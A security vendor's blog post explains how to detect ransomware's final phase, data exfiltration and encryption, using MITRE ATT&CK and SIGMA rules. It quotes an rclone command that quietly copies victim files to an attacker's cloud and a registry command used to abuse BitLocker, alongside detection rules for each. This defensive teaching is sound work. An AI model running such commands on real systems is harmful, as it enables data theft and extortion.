Table of Contents

HUSEYIN CAN YUCEEL | 6 MIN READ

LAST UPDATED ON OCTOBER 23, 2024

Ransomware Attack Detection and Prevention in the Final Phase of the Attack Lifecycle

As

Be e

its

ra

In

bl

ac

ransomware

Background

Although every ransomware campaign is different and many of them evolve, the overall ransomware attack lifecycle can be defined in four phases. Security professionals can use this lifecycle model to build and improve their organizations' detection and prevention capabilities against ransomware attacks. These four phases are:

- ## Phase 1 – Initial Phase

Ransomware threat actors collect publicly available information and scan public-facing assets in the initial phase of the ransomware attacks to gain access to the target organization. The techniques used in this phase include Reconnaissance, Resource Development, and Initial Access tactics of the MITRE ATT&CK framework.

This blog explains how to detect and prevent ransomware in the initial phase adversary techniques.

- ## Phase 2 – Early Warning Phase

After gaining initial access to their target, ransomware threat actors establish persistence in the victim's network and gather sensitive information to improve their capabilities. Adversaries use Persistence, Privilege Escalation, Command and Control, Discovery, and Collection tactics of the MITRE ATT&CK framework in this phase.

In our previous blog post, we explained how to detect and prevent the adversary techniques used in the Early Warning phase.

- ## Phase 3 – Late Phase

In the late phase, ransomware threat actors impair the defense and recovery capabilities of the victim. The techniques used in this phase cover Credential Access, Impact, and Lateral Movement tactics.

We explained how to detect and prevent ransomware in the late phase of its attack lifecycle in our previous blog post.

- ### Phase 4 - Final Phase

Ransomware threat actors act on their primary objective in the final phase. Most of the ransomware variants encrypt files of the victim and also exfiltrate data for extortion. Thus, Impact and Exfiltration tactics are commonly used in the Final Phase.

See our blog for further details of the ransomware attack lifecycle.

The Final Phase of Ransomware Attack Lifecycle

The Final Phase is the fourth phase of the ransomware attack lifecycle from the defender's perspective. In this phase, ransomware threat actors steal and encrypt the confidential assets of victims to extort money according to their extortion model. Traditionally, ransomware encrypts the victim's data and holds the decryption key for ransom. Nowadays, it is common among ransomware campaigns to exfiltrate victims' data for extortion. As a result, the adversary techniques used in the final phase are categorized under the Exfiltration and Impact tactics of the MITRE ATT&CK framework.

Technique 1: Exfiltration - T1567 Exfiltration Over Web Service

T1567 Exfiltration Over Web Service technique is used by adversaries to steal confidential data from the victim using external web services. Before encrypting the data, attackers upload the victim's data to external web services, for example, cloud storage services. Stolen confidential data may include the victim organization's financial records, customer or employee-related personally identifiable information (PII), internal emails, and details about unreleased products. The stolen data might be backed up; however, adversaries threaten to leak the stolen data to pressure their victims to pay the ransom.

Since the T1567 Exfiltration Over Web Service technique generates a lot of network traffic, it comes with risks for the attackers because of the high chance of detection. The data transfer in large quantities may trigger security controls and alert the organization about the ransomware attack.

Many ransomware groups such as DarkSide, REvil, and Nefilim use popular cloud storage services such as Google Drive, MEGA, OneDrive, and Dropbox. Using the rclone or megasync tools, adversaries exfiltrate data from the victim network. The Conti group uses the command below for quietly transferring data to their cloud server.

```
rclone.exe copy <victim_file> <attacker_cloud> -q --ignore-existing --auto-confirm
```

The detection rule for this data exfiltration attack should look for "rclone.exe" in the image field and "copy" in the command line field. The other command-line parameters help define the adversary procedure and are added to reduce false positive detection alerts. Since the rclone creates a new process, a detection rule should use the Process Creation as the log source. The SIGMA rule below creates a detection alert when it observes the selection criteria in the log data.

```
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\rclone.exe'
    CommandLine|contains:
            - 'copy'
            - 'ignore-existing'
            - 'auto-confirm'
    condition: selection
```

Example 1: Example SIGMA rule for detecting the data exfiltration via rclone.exe

Technique 2: Impact - T1486 Data Encrypted for Impact

The ultimate purpose of ransomware is to extort money from the victim by blocking its access to its resources. The majority of ransomware achieve this purpose by encrypting their victim's data and demanding ransom for the decryption key. The MITRE ATT&CK classifies this adversary use of encryption as the T1486 Data Encrypted for Impact technique.

T1486 Data Encrypted for Impact is the most common ransomware technique used by adversaries. According to the Red Report, this technique was the third most used adversary technique in 2021. Since all the techniques in the previous phases laid the groundwork for this step, Data Encrypted for Impact technique is usually hard to prevent. However, the encryption process may take a long time, and early detection allows defenders to stop before ransomware encrypts all the files in the network.

Many ransomware variants usually delete the unencrypted files after encryption. Although it is not directly related to the encryption process, it is a good indicator of ransomware activity. This ransomware behavior can be used to write a detection rule. If multiple files are deleted in a short period of time, a detection alert should be created. However, this alert might be prone to false-positive results. A legitimate software uninstallation or file restoration activity might trigger a detection alert.

```
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4663
    ObjectType: 'File'
    AccessList: '%%1537'
    Keywords: '0x8020000000000000'
  timeframe: 30s
  condition: selection | count() by SubjectLogonId > 10
```

Example 2: Example SIGMA rule for detecting the multiple file deletion

Some ransomware threat actors use native Windows utilities in their data encryption process. For example, The PHOSPHORUS APT group abuses BitLocker for encryption in their ransomware using the command below.

```
reg add HKLM\SOFTWARE\Policies\Microsoft\FVE /v UseTPM REGDWORD /d 1 /f
```

The example SIGMA rule below looks for reg.exe in the image field of log data from the Process Creation log source to detect BitLocker abuse. If the ransomware adds a key-value pair to the Full Volume Encryption(FVE) registry, this SIGMA rule creates a detection alert.

```
logsource:
  product: windows
  category: process_creation
detection:
  selection1:
    CommandLine|contains|all:
      - 'REG'
      - 'ADD'
      - 'HKLM\SOFTWARE\Policies\Microsoft\FVE'
      - '/v'
      - '/f'
  selection2:
    CommandLine|contains:
      - 'UseTPM'
  condition: selection1 and selection2
```

Example 3: Example SIGMA rule for detecting BitLocker abuse

Ransomware Detection in Late Phases of the Attack Lifecycle Course

Share this:

EMERGING THREAT

Retail Under Fire: Inside the DragonForce Ransomware Attacks on Industry Giants

LEARN MORE ▶

EMERGING THREAT

CVE-2025-31324: SAP NetWeaver Remote Code Execution Vulnerability…

LEARN MORE ▶

◀ ▶

Email*

Email

SUBSCRIBE NOW

Platform

- The Security Validation Platform
- Security Control Validation
- Attack Surface Validation
- Cloud Security Validation
- Attack Path Validation
- Detection Rule Validation
- Integrations

Use Cases

- Breach and Attack Simulation
- Automated Penetration Testing
- Adversarial Exposure Validation